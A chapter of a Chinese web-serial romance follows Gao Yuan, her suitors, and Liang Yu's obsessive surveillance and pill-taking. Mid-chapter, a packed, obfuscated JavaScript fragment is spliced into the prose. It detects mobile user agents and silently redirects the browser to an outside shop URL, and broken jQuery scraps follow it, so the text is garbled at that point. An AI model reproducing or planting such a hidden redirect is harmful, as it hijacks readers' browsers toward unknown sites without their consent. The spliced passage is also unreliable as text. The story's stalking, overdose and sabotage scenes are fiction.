高媛费好大口舌才将怒气冲冲要动手的二人拦下,隔在两人中间,自成一堵墙。
她抬头看眼天色,已经不早,按道理梁嘉扬该回去了,便推搡着他往楼道下面走,一直将他送到楼底下去。
“高媛,你没良心。”梁嘉扬拧着眉头,有些不满,“我都伤成这样了,你居然还护着谭玮琛那个死人妖。”
“讲话不要这么难听。”高媛好看的眉头微微蹙起,楼下路灯亮着暖黄色的光,但她的视线全部被梁嘉扬高大的身躯挡住。
他算是佩服谭玮琛手段高明,不过一顿饭就收买了高媛的人心,不就是会做饭么,他连飞机都会开,怎么可能学不会。
“你最好离谭玮琛远点,他不是什么好东西。”梁嘉扬突然凑近高媛的侧脸,跟她咬耳朵道。
“嗯,我会注意。”
高媛搓了搓手臂自觉离梁嘉扬远了几分,环顾一周,昏黄傍晚霓虹灯已经从这个城市点亮,中环作为港城的经济中心此刻仍然热闹无比,停留在这的确不是长久之计。
“有司机来接你吗?”她问道。
梁嘉扬:“车在停车场,很快过来。”
他面色不是很好,外面很是潮湿,会将衬衫面料粘在身上,今日恰好星期五,车水马龙的街道拉出长长的鸣笛声,很吵闹。
又转头一看唐楼斑驳的外表,梁嘉扬忍不住说道:“这种地方怎么能住得下去,我在中环有一套平层,你明天搬到那去。”
高媛摇头谢绝他的好意:“梁聿也在中环给我分了房,我只是想脱离梁家一个人住,至于地方大小无所谓的。”
“随你,看你这联系人的麻烦劲,我明天让助理送一部移动电话给你,记住了,你拨的第一通电话必须给我。”
司机没敢让少爷多等候,几乎是他话头落下的一瞬间,一辆银白色的宾利停到街边。
时间是那么得恰到好处,还没来及给高媛准备拒绝的时间。
梁嘉扬傲气地抬了抬下巴,示意高媛跟他说再见,高媛也顺从地抬起胳膊招了招手,目送着他离开,神情一如既往,平静而难以辨认。
夜色彻底降临在繁华都市,她转身上了楼。
家中头顶的小吊灯开着,谭玮琛穿着围裙,把衬衫袖子撸到小臂,穿着黄色橡胶手套,正在厨房的洗菜池里洗碗,他的长发被简单的黑色皮筋扎起。
一副居家好男人的样子。
不过……
“谭先生怎么拿了我的皮筋?”
高媛的头发大约到背,港城天气这么潮热,她习惯把头发扎起来,显得整个人干净利落,不过这两日降温,她便披散头发。
谭玮琛洗碗的手一顿,随即垂下眼答道:“抱歉,我在家里只找到这个,我再买个新的给你吧。”
她连忙摆手:“不用不用,只是个素圈皮筋而已,我这还有十几个。”
哗啦啦的水流声又响起,谭玮琛把碗冲洗干净,又细致地将灶台擦得一点油都没有,亮得反光,这才摘下围裙。
高媛站在一旁看了许久,在他快干完的时候为他倒了杯水,谭玮琛擦净手接过,朝着她笑了笑。
客厅头顶的灯是暖光灯,柔和暖黄的灯光配合着墙上的绿漆,竟别有一番温馨的感觉,高媛站在谭玮琛面前,头发被光打得毛茸茸的。
她抬起眼看着谭玮琛,开口道:“有件事,还想麻烦谭先生。”
*
“你难道是第一天知道她是什么人么!”
梁家私医,顶楼病房的头顶悬挂着白炽灯,惨白的灯光照射在瓷砖地板上,折射出一个个有规律的光点,一直跳动到病床前。
梁宁手背上插着针,上半身靠在枕头上,不同于以往的平静温柔,她头一次嘶吼出声,怒得苍白的脸色都涨红三分。
而一旁的梁聿低头削着苹果,低垂的发丝遮盖了眼底的情绪,似乎是刀不太好用,苹果皮削得断断续续。
闪着寒光的白刃一个不注意割开皮肉,他的拇指流出鲜血,染红了雪白的果肉。
“她一个人在港城,没有亲人无依无靠,她能依赖的只有你,你却这么对她!”
“以高媛目前的情况不适合待在我身边。”梁聿把脏了的苹果扔进垃圾桶,拿纸按住流血的伤口,头也不抬。
梁宁呼吸紊乱胸膛剧烈起伏着,因情绪激动咽喉间甚至有些血腥气,可未反驳他的话,的确如梁聿所说,现在的港城虽然表面看起来风平浪静,但暗地却早已掀起惊涛骇浪。
港城回归已是不争的事实,港英政府却想趁着剩下能掌权的时间,让港城越乱越好,好好恶心大陆政府一把。
先是纵容原兴不断壮大,成为盘踞港城的一颗毒瘤,又游说各大世家豪门移民海外,尽快完成资产转移,还想在回归后第一批政府职员中安插人手。
作为港城第一大豪门的梁家,自然是第一个被招揽的对象,却也是港英政府最难啃下的一块硬骨头。
梁家的家训第一条就是铭记血脉,梁家自明清迁入港城,多少年来十几代梁家人教育儿女,教的第一句就是他们血脉的根来源何处。
也就这一代出了个顶懦夫的梁朝辉,主动把胳膊肘往外拐,无数次想将梁家产业与外资融合,美名其曰集团转型,实际就是惦念港英政府给的丰厚待遇。
他自作主张把公司划分成两派,有不少老顽固都跟着梁朝辉走,成了港英政府身后的哈巴狗。
不过也好,让梁聿手下能少几个难搞的人。
即便如此,港英政府仍未放弃对梁聿的招揽,甚至把主意打到梁宁的身上去,前几日就来跟她助理联系,说可以为她安排新鲜器官去美国手术。
真是一群不可理喻的疯子。
“但无论怎样,高媛婚内对你的照顾都不是假的,你没有权利那样说她,我希望一切结束后,你能好好补偿她。”
梁宁的声音温柔却有力,她已经许久没有这样实声说话,这次是为了高媛,一个在利益场中肯拿出真心待人的女孩。
无论是大弥山上倾斜的那把伞,还是车祸中拿枪夺方向盘的勇气,桩桩件件加起来,让梁宁感觉到冻在心间几十年的雪化了几分。
她是如此的年轻,却是那样勇敢。
这样的赤诚将她内心的虚无和丑陋照耀得无处遁形,也在无形之中将她的心叩住了。
毕竟高媛第一次到梁园时,那块意外断裂差点让梁嘉莲和她掉下去的栏杆,是她做的手脚。
梁宁想要所有人跟着她一起活在痛苦之中,无论□□还是精神,所以无论那上面掉下去的是谁,她都会高兴。
但变故恰好就出在高媛身上,她拉住了梁嘉莲,兵荒马乱之下居然只是伤到皮肉,她原本因为高媛打乱了她的计划,是不喜欢她的。
这个女孩实在是傻得可怕,没什么心眼就敢往梁家钻,也只有她的眼神里,梁宁看不到阿谀和可怜,只看到好奇和依赖。
梁聿许久未说话,被西装包裹着的笔挺的脊梁忽然慢慢弯下来,梁宁只听到他十分暗哑的声音:“阿宁姐,你说喜欢一个人是什么感觉?”
这个问题,梁宁回答不了,她仅有的几段感情都因家族无疾而终,死的死,出国的出国,喜欢一个人时内心的悸动或许在十几年前就不存在了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17924389|210461||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>她只叮嘱梁聿,如果遇到爱的人,就要将一颗真心双手奉上。
梁聿出私医后并没有去公司,直奔着家而去,自从那天看到谭玮琛亲了高媛后,他就跟疯了似地待在公司处理公务,整个运营快到飞起。
拿下几个大项目的同时员工奖金也水涨船高,直到白特助身体摇白旗,呐喊自己实在跟不住梁聿的节奏,先一步因为肠胃炎进了医院,梁聿这台高速运转的机器这才堪堪停下。
他给全公司放了假可以在家办公,叮嘱白特助好好养身体,毕竟没了他梁聿就看不到高媛了。
回到家,他快速上楼拉开书房大门,书房里面几乎是一片狼藉,入目可及的墙壁上,每一寸都挂满了高媛的照片,时间线从她接煤球去新家的那一天开始。
她干了什么,她见了什么人,她因为什么而笑,因为什么而哭,与谭玮琛和梁嘉扬见面几次,去了什么地方,几乎都在这面墙上铺展开来。
落地窗旁的书桌上摆满了药瓶,他已经不再遵从林俊生的医嘱吃药,而是报复性的,只要能压抑住心底的燥热和难受,吞多少片药都可以。
而书房里摆着的那张床,上面摆满了高媛没有带离梁家的衣物,那些散落的衣服被层层叠起,像筑了一个巢穴,用来安葬梁聿早就混乱不堪的心神。
他用一种压榨自己的方式克制这种情绪,在处理工作时理智得可怕,却在回到家的那一刻如洪水溃堤,几乎要疯了般寻找高媛仅剩的一丝痕迹。
他很想她,他很想她,他很想她,他很想她,想到眼前都出现了她的幻觉,想到闻不到她的气味就难以入睡,想到如果看见她和别的男人在一起恨不得去死。
为什么为什么为什么为什么,林俊生不是说早日脱离就能把这种情绪斩草除根吗,为什么他还是这么难受,仿佛离了她就会死的样子。
梁聿好想好想,当初高媛提离婚的时候就该撕碎合同,按住她的肩膀撕咬她的唇瓣,让高媛好好知道,她凭什么离开他,凭什么要接受梁嘉扬的示好。
凭什么只是因为别人挑拨的几句话就不再信任他。
不对、不对,这样会吓到她的,她不是喜欢谭玮琛这样性格的男人吗,他也可以装出来。
梁聿觉得自己真是疯了,明明遇到高媛之前他对一切事物都处理得游刃有余,怎么在她身上一切都溃不成军呢。
他拿起桌上的药瓶,颤抖地倒出白色的药瓶,连水都没喝,仰头吞下。
渴肤症到一定程度会引发极强的焦虑和躯体化,一如他现在的样子,只能靠沾有高媛气味的衣服过活。
前几日白特助查到了高媛新办理的电话号码,梁聿现在只想听一听高媛的声音,哪怕只有零星几个字。
“喂?”
清亮的声音从电话另一边传出,梁聿顿时松了一口气,可始终没有勇气说出一句话。
“谁呀,是朋友吗?”
紧接着一道男声响起,二人似乎挨得很近,稀松平常的一句问候在梁聿看来语气十分亲昵。
“不知道,嘶…麻烦谭先生轻点。”
梁聿沉默了,他坐在真皮沙发上久久未能开口,谭玮琛和高媛在干什么?他不知道,他只知道高媛和别人在一起的消息就像一把刀剜着他的心口,只觉得钻心得疼。
但他又受虐似的,没有主动去挂断这一通电话,直到高媛嫌太浪费话费自己挂了电话。
电话另一头,高媛坐在谭玮琛的刺青店里活动着肩膀,她的左肩赫然出现一个黑青色的威风凛凛的狼头,像是随时要从肩头活过来一样,十分霸气。
古惑仔第一课,纹身get!